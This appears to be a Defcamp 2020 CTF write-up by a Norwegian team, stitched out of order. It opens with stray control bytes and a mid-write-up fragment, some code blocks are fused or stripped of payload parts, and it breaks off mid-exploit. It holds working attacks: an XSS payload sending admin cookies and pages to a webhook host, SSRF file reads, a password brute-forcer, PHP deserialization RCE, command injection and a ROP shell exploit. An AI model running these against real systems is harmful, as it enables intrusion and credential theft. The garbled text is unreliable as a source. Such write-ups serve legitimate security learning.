`\x15\x1d\x07\x1dATX\x00P\x11RJG\r\x04VJW_S\x07L\x00J\x15\x0bQV\x13WZ\x07TB\x06A\x15\x0f\x02T\x10\x04^S\x07EV@\x10\r\x07\x07GPW[QFUAG]XVK\x02\rR\x18`was the flag: `ctf{356c5e791de08610b8e9cb00a64d16c2cfc2be00b133fdfa5198420214909cc1}` ### dumb-discordWe get a file to reverse: `server.cpython-36.pyc` This is a Python bytecode file that is easy to decompile using *Uncompyle6* ```shelluncompyle6 server.cpython-36.pyc > server.py``` When looking at the code we can see that this is a Discord bot ```pythonfrom discord.ext import commandsimport discord, jsonfrom discord.utils import get def obfuscate(byt): mask = b'ctf{tryharderdontstring}' lmask = len(mask) return bytes(c ^ mask[(i % lmask)] for i, c in enumerate(byt)) def test(s): data = obfuscate(s.encode()) return data intents = discord.Intents.default()intents.members = Truecfg = open('config.json', 'r')tmpconfig = cfg.read()cfg.close()config = json.loads(tmpconfig)token = config[test('\x17\x1b\r\x1e\x1a').decode()] # tokenclient = commands.Bot(command_prefix='/') @client.eventasync def on_ready(): print('Connected to bot: {}'.format(client.user.name)) print('Bot ID: {}'.format(client.user.id)) @client.command()async def getflag(ctx): await ctx.send(test('\x13\x1b\x08\x1c').decode()) # pong @client.eventasync def on_message(message): await client.process_commands(message) if test('B\x04\x0f\x15\x13').decode() in message.content.lower(): # !ping await message.channel.send(test('\x13\x1b\x08\x1c').decode()) # pong if test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode() in message.content.lower(): # /getflag if message.author.id == 783473293554352141: role = discord.utils.get((message.author.guild.roles), name=(test('\x07\x17\x12\x1dFBKXO\x11\x1d\x07\x17\x16\n\n\x01]\x06\x1d').decode())) # dctf2020.cyberedu.ro member = discord.utils.get((message.author.guild.members), id=(message.author.id)) if role in member.roles: await message.channel.send(test(config[test('\x05\x18\x07\x1c').decode()])) # flag if test('L\x1c\x03\x17\x04').decode() in message.content.lower(): # /help await message.channel.send(test('7\x06\x1f[\x1c\x13\x0b\x0c\x04\x00E').decode()) # try harder! if '/s基ay' in message.content.lower(): await message.channel.send(message.content.replace('/s基ay', '').replace(test('L\x13\x03\x0f\x12\x1e\x18\x0f').decode(), '')) # /getflag``` The script has an encode function that uses xor to obfuscate strings. We can see that the key is `ctf{tryharderdontstring}` After xoring all of the strings in the script with this key, we now know which commands that are available:- !ping- /getflag- /help- /s基ay We can also see that in order to get the flag stored in the config file, we need an author with ID **783473293554352141** to execute the `/getflag` command.This author also needs the `dctf2020.cyberedu.ro` role. My guess is that this is the ID of the bot. But where do we find the bot? It turns out that you can invite any bot to your own Discord server if you have the ID. Here is the link:https://discord.com/oauth2/authorize?client_id=783473293554352141&scope=bot&permissions=0 This user is called `DCTFTargetWhyNot`. Lets invite it to our own server ![](https://i.imgur.com/yEF7iDl.png) Now we just need to force the bot to execute the `/getflag` command, and the `/s基ay` command will help us with that. We can make the bot say anything if we pass an argument to this command. However, there are two replace methods that removes `/s基ay` and `/getflag` from our message. We can bypass this by making the `/getflag` command all uppercase, since the bot is converting all commands to lowercase. ![](https://i.imgur.com/hwRXfvJ.png) Oh no! Looks like the flag is also xor-encrypted, so we need to xor it with the same known key as we found earlier: `ctf{1b8fa7f33da67dfeb1d5f79850dcf13630b5563e98566bf7b76281d409d728c6}` ## Misc### qr-maniaFirst we extracted all the pictures from the pcap using wiresharkevery picture is a QR code, so we wrote a script to dump the data from every code. qrtools was not able to deal with most of the qr codes as they were different colors, so we converted all of them into black/white pictures before decoding. the output didn't look like a flag, but we noticed that all the different parts of the flag was there (e.g. C, T, F, and {, }).After checking different things like the order the pictures were downloaded in, the date in every picture, etc. we found out that there was a comment in the EXIF data of every picture telling us the position of that picture. we used this to make an ordered list of the files: ```huquiiddfswdqalnctdi.pngrrhggrokkhbwadumtkhx.pngdglakvmqmabxcqlpgbjb.pngfbnribfqosqcgsbvslvz.pngytwlritcxznphymnsowe.pngejznsfmiucllxxespijz.pnghchwxnsotuqrtbrdmbmg.pngyzhfednrfjsvinsbbyhp.pngeiyhbbcrfnwncfsghmez.pngsuvwivhtpjkcdpcdurty.pngbiuwfrwgdocdypyliqyt.pngrmdueayyyacxcceysxtm.pnggtxiufelpdevwvcpejql.pngkxcgjifkviewjaiwydos.pngpvsyteygdilvpctcavzm.pngsrfedsijdcfewypfoeii.pngxfcbvnbakbgypttpslvk.pngdmdkaosivnyzxyzmglai.pngkbavpqschcbaxbezypla.pngloaaiwgsfohhebksrzve.pngrvvkzxxdoyzdechbpaiw.pngxsdkmqnnwrscbvbbprsw.pngvcdqnjgliurrsbczwljv.pngdfhwcysjjnrnhfziizlr.pngdwpgvvlipmmhlkulbrtt.pnghsqqemzyyeqczawnerdp.pngilymnjclovkuejytnwvi.pngjckteobzkpvxoqqrqovd.pnglilikwxihvrdnqsvepqz.pngzslcptglhdyldbzmlren.pngbynatxrryamhwwhmmroj.pngkamdmutdlzdoypbozuhz.pngoedfvuiyglrsmoociury.pngofqmletvbqbxzygbzdrh.pngrkdyzefqczfgxaqkqxpt.pngxcrtvutynuuswwpcqojs.pngyepskbbojoroewcotddo.pngcllzodvnyvvmbppaktsd.pngdhqclnghhlrjxjmhjzon.pngkzlibdjxvtbgtiaowvez.pngqpuohuugyhrhfaxdyqux.pngxgslqgwnecldbojahatx.pngkgzjqaffmkezutjdcqyw.pngkmziktrekxzaihwkocfj.pnglrhsihqzqeuisjlgoyky.pngnhbiyacdrbxgrutijbxi.pngeioshuilsoxydsahsfnl.pngrvvcnqbnbdslgdrwatrk.pngdtruebslzybqbiewkwjr.pngdwesxvndmatigdqdvcpr.pngnkmswrsvwrnmapsnillk.pngoyhwsqkdqheovawwlggm.pngpgkrzpxhehywhtmkjgsb.pngavudtreighimhcgmwape.pngkuimxqwkydzdfhvwzayz.pngyybbwqnirqzldfiheiyh.pngzstxtahbtgccautnswcf.pngszpzkekngxnasbbjwhhx.pngxhaffangdrxmuvdpurdh.pnguwjmnpykkkaoxdeesmxi.pngajxxcwfgozxpbhnauore.pnggzmshnrwkknmmitqnqzp.pnghfnkcgtjyeprtbaldxxk.pnglkvdwmunrarpuyqzdyne.pngjkfxjauvqodhqwzblgen.pngvuiwwzjdojhdlaaamzwb.pnglmmfdbfmheysbhbgjazn.pngwbuhqpnwfuovgdwoedoc.pngczguxctbmqgfgxhvnwzr.png``` with that list we could run our script again to get the flag:```python#!/usr/bin/env python3import qrtoolsimport osfrom PIL import Image def get_colors(pic): im = Image.open(pic, "r") pix = im.load() return set([pix[x,y] for y in range(im.size[1]) for x in range(im.size[0])]) def convert_colors(pic): im = Image.open(pic) white = ( 255, 255, 255 ) black = ( 0, 0, 0 ) pix = im.load() white_target = pix[0, 0] print(f"target: {white_target}") out = f"{pic[:-4]}_fixed.png" im2 = Image.new("RGB", im.size, (255, 255, 255)) pix2 = im2.load() for y in range(im.size[1]): for x in range(im.size[0]): if pix[x,y] == white_target: pix2[x,y] = white else: pix2[x,y] = black im2.save(out, "PNG") return out import re def main(file_list): with open(file_list, "r") as f: files = f.readlines() cnt = 0 res = {} for filename in files: filename = filename.rstrip() if ".png" not in filename: continue print(filename) fixed = convert_colors(filename) qr = qrtools.QR() qr.decode(fixed) print(f"{filename}: {qr.data}") if qr.data is None: print("failed!") break from subprocess import check_output out = check_output(f"exiftool {filename}", shell=True).decode("utf-8") m = re.search(r"Comment.*: ([0-9]+)/69", out) num = int(m[1]) res[num] = qr.data from pprint import pprint pprint(res) flag = "".join([res[i] for i in range(1, 69+1)]) print(flag) if __name__ == "__main__": main("files.txt")``` `CTF{2b2e8580cdf35896d75bfc4b1bafff6ee90f6c525da3b9a26dd7726bf2171396}`
We bypassed addslashes() by exploiting the discrepancy between server and client side character encodings to obtain an unintended XSS in the main page of the application.
# Defcamp 2020 writeups :triangular_flag_on_post: ## Team information**Team name:** bootplug **Country**: Norway **CTFTime profile**: https://ctftime.org/team/81341 **Authors**zup, PewZ, UnblvR, maritio_o, odin We solved 25/26 challenges. Did not solve `inorder` --- ## Forensics### basic-comsWe get a pcap file. Searched for `http` traffic and found a single stream with some very interesting information in it ![](https://i.imgur.com/rpdwAsd.png) This **GET** request seems to contain an interesting parameter that looks like a flag. Decoding this from URL encoding yields the flag```The content of the f l a g is ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993 and respects the format``` `CTF{ca314be22457497e81a08fc3bfdbdcd3e0e443c41b5ce9802517b2161aa5e993}` ### t3am_vi3w3rNoticed some DNS requests in the PCAP to RealVNC websites. Filtering on VNC traffic (`vnc` as filter in Wireshark) lists up some "broken" PDUs, but they are most likely just too new for Wireshark to handle. Looking at the last byte of all these PDUs, we see that some text is entered - one letter at a time. It writes out the "Bee Movie" script, with the flag somewhere in the middle of it. By simply looking for a value that matches '{', I was able to read out each letter of the flag and communicate it to a team mate that wrote it down. flag: `DCTF{74a0f35841dfa7eddf5a87467c90da335132ae52c58ca440f31a53483cef7eac}` ### hunting-into-the-wildQ1. Based on the text, and obviois tool to think about is mimkaz, which often contain sekurlsa in the commanline. Used the following search on winlogbeat index:```process.args: *sekurlsa*```Shows process name: mim.exe Q2.Seeing that most "malicous" related to APTSimulator, looking for events around this activity and filtering based on common native tools used for downloading, we found the following:```certutil.exe -urlcache -split -f https://raw.githubusercontent.com/NextronSystems/APTSimulator/master/download/cactus.js C:\Users\Public\en-US.js``` Q3. By going back in timeline to see source of all the malicous events, the following command was found:```C:\Windows\system32\cmd.exe /c ""C:\Users\IEUser\Desktop\APTSimulator\APTSimulator.bat```CTF{APTSimulator.bat} Q4. Common command used for user management at windows is ```net user```, search for this actiovity within the timeline of the malicous commands, the following command line was found:```net user guest /active:yes``` ### spy-agency Volatility imagescan shows that the relevant profile is `Win7SP1x64`. After a brief `pstree` and `filescan`, we see that there's not really that much happening process-wise. But Chrome has been used to download a file from WeTransfer: ``` 0x000000003fa82210 16 0 RW---- \Device\HarddiskVolume2\Users\volf\Downloads\app-release.apk.zip``` We weren't able to dump this exact file, but there were some copies of it located on the desktop that could be dumped using `dumpfiles -Q XXX` with XXX being the physical address from the filescan output. The Chrome history also showed some Google searches for Bluestacks, an Android emulator, but none of its binaries were present. The belief is that someone downloaded this APK, then ran it locally in Bluestacks to get the secret location - which is the goal of this challenge. The zip file does not contain an APK at all, but a directory, which contains the contents of an APK. This breaks normal decompilers like JADX, but luckily it's easy to repack it as a proper APK file. After some brief reversing of the app, it looks like it is just a simple "Hello, World!" Android application, that only shows a single view with a "Hello World" message. ```javapackage com.example.hidden_place; import android.os.Bundle;import androidx.appcompat.app.AppCompatActivity; public class MainActivity extends AppCompatActivity { /* access modifiers changed from: protected */ public void onCreate(Bundle bundle) { super.onCreate(bundle); setContentView((int) R.layout.activity_main); }}``` However, inside drawables, there's a hidden file: `res/drawable/coordinates_can_be_found_here.jpg`. In the EXIF data of this image, there's some coordinates `-coordinates=44.44672703736637, 26.098652847616506` pointing to a Pizza hut. Flag: `ctf{a939311a5c5be93e7a93d907ac4c22adb23ce45c39b8bfe2a26fb0d493521c4f}` (sha256 of 'pizzahut') ## Web### alien-inclusionThis is a very simple PHP server. The flag is located in `/var/www/html/flag.php` ```php 15: print("cmd too long!") return data = { "password": "foobardeadbeefdsadsa" } req = requests.post(url, data=data) tmp = req.content.decode("utf-8") idx = tmp.index("/secrets") secret = tmp[idx:].split("'")[0] print(secret) url += secret print(url) params = { "tryharder": cmd } req = requests.get(url, params=params) print(req.content) req = requests.get(url) print(req.content) if __name__ == "__main__": main("http://35.242.253.155:30574", "${`ln -s /var`}") main("http://35.242.253.155:30574", "${`mv var o`}") main("http://35.242.253.155:30574", "${`ln -s o/w*`}") main("http://35.242.253.155:30574", "${`mv www l`}") main("http://35.242.253.155:30574", "${`ln -s l/h*`}") main("http://35.242.253.155:30574", "${`mv html j`}") main("http://35.242.253.155:30574", "${`cat j/f*>2`}") main("http://35.242.253.155:30574", "${print`cat 2`}")``` We can inject php using the `tryharder` parameter, but it has to be less than 16 characters. In addition, the data we can change is part of a doc string (heredoc). We use ${} to run php and backticks to run shell commands.Running the solution script gives us the flag:`ctf{d067ddd00ba4129e83898758ac321533f392364cfaca7967d66791d9d08823bb}` ### pirate-crawlerThere is nothing on the main page. First we found `/console` endpoint by dirbusting. However, the debugger console was protected with a PIN. In the task description they mentioned APIs. So we tried to find `/api`, `/v1` and `/v2` etc.We then found some interesting endpoints. * `/v1` - mentions that `/v1` is disabled and that we should see the changelog for more information.* `/v2` - mentions that this is the `V2 API ROUTE` We then tried to find the CHANGELOG file:```shell$ http GET 'http://138.68.93.187:6960/v2/CHANGELOG'HTTP/1.0 200 OKContent-Length: 204Content-Type: text/html; charset=utf-8Date: Mon, 07 Dec 2020 16:47:24 GMTServer: Werkzeug/1.0.1 Python/3.6.9 #1: V1 context - V1 api routes disabled after sambacry #2: V2 context - crawl route parammeter changed to 'adshua' to prevent abuse #3: V2 context - added new safe SMbHandler to prevent sambacry``` We now know that SMB is involved and that there is an endpoint called `/v2/crawl`.We can use this endpoint to visit web pages, but it has an SSRF vulnerability. This meansthat we can fetch files from the server, or visit internal web pages. Using this vulnerability we fetched the SMB config and the app.py source code: `curl -D- http://138.68.93.187:6960/v2/crawl?adshua=file:///etc/samba/smb.conf --output smb.conf` `curl -D- 'http://138.68.93.187:6960/v2/crawl?adshua=file:///home/ctfuser/app.py' --output app.py` There is an interesting entry in SMB config```ini[josh] path = /samba/josh browseable = yes read only = yes guest ok = yes force create mode = 0660 force directory mode = 2770 valid users = josh @sadmin``` `josh` is an SMB share, and we can authenticate to this share as `josh`.We also see a new API endpoint for SMB ```[email protected]("/v2/smb", methods=["GET"])def smb(): #this might ROCK YOUr world! if request.args.get('onlyifyouknowthesourcecode'): director = urllib.request.build_opener(SMBHandler) fh = director.open(request.args.get('onlyifyouknowthesourcecode')) buf = fh.read() fh.close() return buf``` There is a hint refering to `rockyou.txt` in the source code. So now we just create a script to bruteforce josh's password using this wordlist. ```python#!/usr/bin/env python3import requestsimport sys url = "http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:{password}@localhost/josh/flag.txt" with open(sys.argv[1]) as wlist: for pw in wlist: pw = pw.rstrip() r = requests.get(url.format(password=pw)) if "not authenticated" not in r.text: if "filedescriptor out of range" not in r.text: print(r.text) print(f"PASS: {pw}")``` The correct password is `christian`. We can now get the flag! `http GET 'http://138.68.93.187:6960/v2/smb?onlyifyouknowthesourcecode=smb://josh:christian@localhost/josh/flag.txt'` The flag is: `ctf{6056850ae00cb2cdc76d2bfa0bcb40ee3cc744702a31af0a8edd7fb2872da6f9}` ### syntax-checkThis task took a while to figure out. The task description is```Some languages can be read by human, but not by machines, while others can be read by machines but not by humans. This markup language solves this problem by being readable to neither. The flag is in /var/www/html/flag.``` The button on the main page does not work at all. It sets a GET parameter called `<foo>Hi!</foo>` and we get an error page saying "Empty string supplied as input." The trick was to figure out that you had to send something in the request body instead of a GET parameter. `curl -D- -XGET 'http://34.107.22.248:30526/parse' --data test` A new error message: `That XML string is not well-formed` Now we get a clue that the data we send is should be XML. The vulnerability here must be XML External Entity processing. We can try to create some entities that fetches local files on the server. ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` We get the `/etc/passwd` file back!```...gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin_apt:x:100:65534::/nonexistent:/usr/sbin/nologinwww:x:1000:3000::/var/www:/usr/sbin/nologin``` However we cannot leak the flag using base64 encoding. ```shellcurl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'``` The error message is `You just tried to exfiltrate using base64? Nice. Try again!` Seems like there is some sort of filter checking the output. We can't convert the PHP flag file into base64. It is still possible to convert the PHP file into UTF-16 though: ```shell$ curl -D- -XGET 'http://34.107.22.248:30526/parse' --data ' ]><foo>&exfiltrate;</foo>'```We then get this string `瑣筦㈰摢㠴㈶㌷㈰㌶㈶㡥㙡㘹挱㍤〳㠳㈱㜰挳〵慦㔷戹㈴戰攱愷ㄱ㉡㍣扡㄰〳੽` We can convert this to UTF-8 and get the flag! `ctf{02bd486273026362e8a6961cd3303812073c50fa759b420b1e7a11a2c3ab0130}` ### cross-meThe challenge name is a hint that this is an XSS challenge. After you have logged in you can post notes to the website. The admin will check every note you create. When trying to post `<script>` tags we get an error message: `Invalid input. Failed at /<[^\w<>]*[ \/]\w*/i` The server is validating our notes using regex. It has quite a few different patterns that it checks: - `/<[^\w<>]*[ \/]\w*/i`- `/<(|\/|[^\/>][^>]+|\/[^>][^>]+)>/i`- `/(\b)(on\S{5,8})(\s*)=|(<\s*)(\/*)script/im`- ```/["'\(\)\.:\-\+> `]/im``` The best way I found to bypass this check is to convert our javascript into HTML entities: e.g. `asdasd` -> `asdasd` After trial and error I found out that the `<svg>` tag is your best bet! We can use its **onload** method which is not matched by the regex pattern above. ("load" is shorter than 5 characters). Let's test this by fetching the admin's cookie. We can't have spaces, and can't have any `>` tag at the end. But it still works: `<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<` Convert the javascript to HTML entities:```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=document.location="https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35?c="+document.cookie//<'``` We now get a request from the admin. But there is no flag in the cookies...I then noticed the referer header in the request from admin: `Referer: http://127.0.0.1:1234/index.php?page=post&id=221` If we make the admin fetch this website and send the result back to us, we might get the flag.The new plan is to use **fetch**: ```jsfetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})``` This javascript posts the entire website back to us. When converting this to HTML entities, we can do the request to get the flag :) ```http --form POST 'http://35.242.253.155:31810/index.php?page=newpost' Cookie:PHPSESSID=47117bffb9bc0406a138d082980b72f2 title='asd' description='<svg/onload=fetch('/index.php?page=post&id=604').then(r=>{return r.text()}).then(t=>{fetch('https://webhook.site/df13af1d-cb2e-4274-a2d2-56b28becad35', {method:'POST',body:t})})//<'``` FLAG: `CTF{3B3E64A81963B5E3FAC7DE0CE63966F03559DAF4B61753AADBFBA76855DB5E5A}` ### environIt is a login page, but we cannot login, and there is no button to register an account.After doing some enumeration we found a few endpoints that seems interesting - /index.php- /login- /forgot-password- /register- /dashboard- /assets- /css- /js- /backup At `/register` we can register an account and we get redirected to `/dashboard````Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team.``` If we go to `/index.php` we can see this message:```Environ is a tool to decrypt your deal messages Sorry for the inconvenience but we’re performing some maintenance at the moment. If you need to you can always contact us, otherwise we’ll be back online shortly! — The Team. Also you can use /decode/{text} to obtain the contents of your private message.``` A new endpoint! `/decode/{text}`. Almost everything we tried to insert as *text* makes the server respond with `bool(false)` If you insert a symbol, you get `File not found`. I created a script to enumerate all the valid characters:```python#!/usr/bin/env python3import requestsimport string url = "http://35.198.183.125:30278/decode/" valid_chars = [] headers = { "Cookie": "laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D", "Accept": "application/json"} for c in string.printable: r = requests.get(url+c, headers=headers) if "bool(false)" in r.text: valid_chars.append(c) else: print(r.text.strip()) print(''.join(valid_chars))``` The valid characters are `0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ%+=` This looks like base64 to me! At this point we started looking at the other endpoints, and found out that `/backup` is a git repository. We dumped the repository using [git-dumper.py](https://github.com/arthaud/git-dumper) (I had to replae all ".git" with "backup" for it to work) and find `.env.example` that contains an AES key: `APP_KEY=base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=` We also find the decode function used in the Laravel app. ```phppublic function decode(Request $request, $secret) { $key = env('APP_KEY'); $cipher = "AES-256-CBC"; $iv = substr(env('APP_KEY'), 0, 16); $secret_message = unserialize(openssl_decrypt($secret, $cipher, $key, 0, $iv)); var_dump($secret_message); }``` This function decrypts our secret message and unserializes it. Maybe we can try to exploit this unserialization? To do this we need to find a class that has a constructor / deconstructor that does something unsafe. I found just the class for this in `app/Http/Middleware/YourChain.php` ```php<?php namespace App\Http\Middleware; use Closure;use Illuminate\Http\Request; class YourChain{ /** * Handle an incoming request. * * @param \Illuminate\Http\Request $request * @param \Closure $next * @return mixed */ // public function handle(Request $request, Closure $next) // { // return $next($request); // } public $inject; function __construct(){ } function __wakeup(){ if(isset($this->inject)) { if(isset($this->inject[5])){ eval($this->inject[5]); } } }}``` If we can create a serialized object with an `$inject` parameter that is an Array, we can eval php code of our choice. The 5th index must contain the code that should be evaled. I did this by opening an interactive session with php: `php -a````php$key = "base64:Wkt8DOa9t16Z+DSLKsy+5r4S0aA9JmdItAk9//NiKu0=";$iv = substr($key, 0, 16); echo openssl_encrypt("O:29:\"App\\Http\\Middleware\\YourChain\":1:{s:6:\"inject\";a:6:{i:0;s:0:\"\";i:1;s:0:\"\";i:2;s:0:\"\";i:3;s:0:\"\";i:4;s:0:\"\";i:5;s:29:\"system('base64 ../flag.php');\";}}", "AES-256-CBC", $key, 0, $iv);``` Which yields `6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==` We can send this encrypted text to the `/decode` endpoint to get our command executed!I tried multiple commands before I finally found flag.php in a directory. ```shell$ http GET "http://35.198.183.125:30278/decode/6yjQqIXn0W0bR6EwHTW2NfGZUD4vr9E537p+861LxkPV8tNU63xRZz34KbAoOYNU/Z0SXAME/FlmW2Gpc14G/eXe+TngCovxh6lKt3I9ZmutmF0iLSRycW3X3xdse83uy7Hp3XSqh0Z20knHOqqi4KulAvtT1BbFDzwrNtstRGvciaSyqVgbbhtCIQe0lwyw2YZ8TkBKrdSefnNfBLFuzQ==" Cookie:laravel_session=eyJpdiI6Ik5QMmtiajAxZ0JHTjdLTW5TcDV1Nmc9PSIsInZhbHVlIjoicEhIV3lKaEUrKzFnS1VDcmcyWDhPQ0ZVNlYzeFR3TkdBbjk4VW1NditnOHRxaEl5MU01YmUrMFpxRGZyc0lMTHBLYWRKOWNiMVpHaFEyUy9ac3FsSUFMeXRNZ2RZZmdNL3RnOGEyUFlpZHV2aGlOVXRpWm1nbTE5cDU1Wmd6YmsiLCJtYWMiOiJjNzZkZjcyNGIwNWIyYzZiNjcyNmQ1YTE2YWM0ZTE5N2JhZGE4NGVmYzE3ZGY3NDc0Zjg0MWY5NzRjMTQ2NTliIn0%3D %``` FLAG: `ctf{ea4941519e740783ebd819100ddc13486ae1e0abec2d0ef32bad5fc98edd16b6}` ## Steganography### stug-referenceThe task description says:```Do you have your own stug pass hidden within?```We get a jpg image. The most obvious thing to try is *steghide*.First I tried to use steghide without a password, but that did not work. Then I noticed the task description again: `stug pass hidden within`. I then tried to extract using `stug` as password: ```shell$ steghide extract -sf stug.jpgEnter passphrase: wrote extracted data to "flag.txt".```flag.txt: `ctf{32849dd9d7e7b313c214a7b1d004b776b4af0cedd9730e6ca05ef725a18e38e1}` ## Crypto### bro64```python#!/usr/bin/env python3import jsonimport requests from base64 import b64decodefrom pprint import pprint from Crypto.Cipher import ChaCha20, Salsa20 # {"nonce": "TzMh7RxMJr8=", "ciphertext": "IynkKnGon3iK4oNSv59tqdLlpIowmfpiH88Vj1CjQBm3SvTcwTbrnY4q/UWKtJRu0M3v4sl+C0k8QFM8pdpyFCkE9Nur", "key": "Fidel_Alejandro_Castro_Ruz_Cuba!"} def main(url): res = requests.get(url) if res.status_code != 200: print("failed!") return res = json.loads(res.content) pprint(res) key = res["key"] nonce = b64decode(res["nonce"]) ciphertext = b64decode(res["ciphertext"]) print(f"key length: {len(key)}") print(f"ciphertext length: {len(ciphertext)}") print(f"nonce length: {len(nonce)}") #cipher = Salsa20.new(key=key.encode("utf-8"), nonce=nonce) #plaintext = cipher.decrypt(ciphertext) #print(plaintext) cipher = ChaCha20.new(key=key.encode("utf-8"), nonce=nonce) plaintext = cipher.decrypt(ciphertext) print(plaintext) if __name__ == "__main__": main("http://34.89.241.255:30013") # ctf{f38deb0782c0f252090a52b2f1a5b05bf2964272f65d5c3580be631f52f4b3e0}```tried to find a cipher that matched with the key length etc. We noticed that the length of the ciphertext wasn't a multiple of normal block sizes, so we assumed a stream cipher. Then we tried to find a stream cipher that used base64 encoded nonce, and a key size of 256 bit. after some trial and error we found out that ChaCha20 was a match. ### why-xorWe get a Python script```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ""s2 = ""# ['\x00', '\x00', '\x00'] at start of xored is the best hint you geta_list = [chr(ord(a) ^ ord(b)) for a,b in zip(s1, s2)]print(a_list)print("".join(a_list))``` There is also a hint here about the first 3 null bytes being the best hint we can get. Since we know that a flag usually starts with `ctf`, this is most likely the xor key. When xoring `ctf` with `ctf` we get three null bytes. I modified the script to use `ctf` as key:```pythonxored = ['\x00', '\x00', '\x00', '\x18', 'C', '_', '\x05', 'E', 'V', 'T', 'F', 'U', 'R', 'B', '_', 'U', 'G', '_', 'V', '\x17', 'V', 'S', '@', '\x03', '[', 'C', '\x02', '\x07', 'C', 'Q', 'S', 'M', '\x02', 'P', 'M', '_', 'S', '\x12', 'V', '\x07', 'B', 'V', 'Q', '\x15', 'S', 'T', '\x11', '_', '\x05', 'A', 'P', '\x02', '\x17', 'R', 'Q', 'L', '\x04', 'P', 'E', 'W', 'P', 'L', '\x04', '\x07', '\x15', 'T', 'V', 'L', '\x1b']s1 = ''.join(xored)s2 = "ctf" * len(xored) # We need the key to be equal length or longer than the cipher text a_list = [chr(ord(a) ^ ord(b)) for a, b in zip(s1, s2)]print("".join(a_list))``` Running it yields `ctf{79f107231696395c004e87dd7709d3990f0d602a57e9f56ac428b31138bda258}` ## Pwn### bazooka```python#!/usr/bin/env python# -*- coding: utf-8 -*-# This exploit template was generated via:# $ pwn template --host 35.234.65.24 --port 30812 ./pwn_bazooka_bazookafrom pwn import * # Set up pwntools for the correct architectureexe = context.binary = ELF('./pwn_bazooka_bazooka') # Many built-in settings can be controlled on the command-line and show up# in "args". For example, to dump all data sent/received, and disable ASLR# for all created processes...# ./exploit.py DEBUG NOASLR# ./exploit.py GDB HOST=example.com PORT=4141host = args.HOST or '35.234.65.24'port = int(args.PORT or 30812) def local(argv=[], *a, **kw): '''Execute the target binary locally''' if args.GDB: return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw) else: return process([exe.path] + argv, *a, **kw) def remote(argv=[], *a, **kw): '''Connect to the process on the remote host''' io = connect(host, port) if args.GDB: gdb.attach(io, gdbscript=gdbscript) return io def start(argv=[], *a, **kw): '''Start the exploit against the target.''' if args.LOCAL: return local(argv, *a, **kw) else: return remote(argv, *a, **kw) # Specify your GDB script here for debugging# GDB will be launched if the exploit is run via e.g.# ./exploit.py GDBgdbscript = '''set follow-fork-mode parentset follow-exec-mode sameb *0x0000000000400757continue'''.format(**locals()) #===========================================================# EXPLOIT GOES HERE#===========================================================# Arch: amd64-64-little# RELRO: Partial RELRO# Stack: No canary found# NX: NX enabled# PIE: No PIE (0x400000) io = start() io.sendlineafter("Secret message: ", "#!@{try_hard3r}") pop_rdi = 0x00000000004008f3main = exe.symbols["main"] payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(exe.got["puts"])payload += p64(exe.plt["puts"])payload += p64(main)io.sendlineafter("Message: ", payload) io.recvuntil("Hacker alert")io.recvline()leak = u64(io.recvline().rstrip().ljust(8, b"\x00"))log.info(f"leak: {hex(leak)}") if args.LOCAL: libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")else: libc = ELF("libc6_2.27-3ubuntu1.3_amd64.so") libc.address = leak - libc.symbols["puts"]log.success(f"libc base: {hex(libc.address)}")payload = b"A"*(0x80-8)payload += p64(pop_rdi)payload += p64(next(libc.search(b"/bin/sh")))payload += p64(pop_rdi+1) # ret gadget for stack alignmentpayload += p64(libc.symbols["system"])payload += p64(libc.symbols["exit"]) io.sendlineafter("Secret message: ", 